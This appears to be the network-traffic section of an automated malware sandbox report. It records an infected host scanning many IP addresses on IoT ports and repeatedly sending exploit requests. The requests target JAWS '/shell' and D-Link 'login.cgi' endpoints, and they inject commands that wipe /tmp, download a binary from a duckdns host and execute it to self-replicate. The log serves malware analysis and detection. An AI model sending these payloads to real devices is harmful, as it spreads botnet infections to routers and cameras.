| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 41.99.1.109:60001 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 187.113.203.190:7547 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 163.141.214.112:60001 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 24.36.30.71:7547 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 176.250.59.217:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 134.44.52.243:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:12885 -> 197.46.115.225:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:60834 -> 179.43.141.99:61993 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 139.54.174.79:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 145.77.213.105:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 117.14.82.159:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 165.77.114.73:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 47.225.86.43:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 190.65.40.203:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 146.193.248.189:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 207.230.118.72:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 41.243.110.138:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 120.65.230.72:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 189.208.19.2:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 165.46.167.81:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:14933 -> 96.177.249.161:2323 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
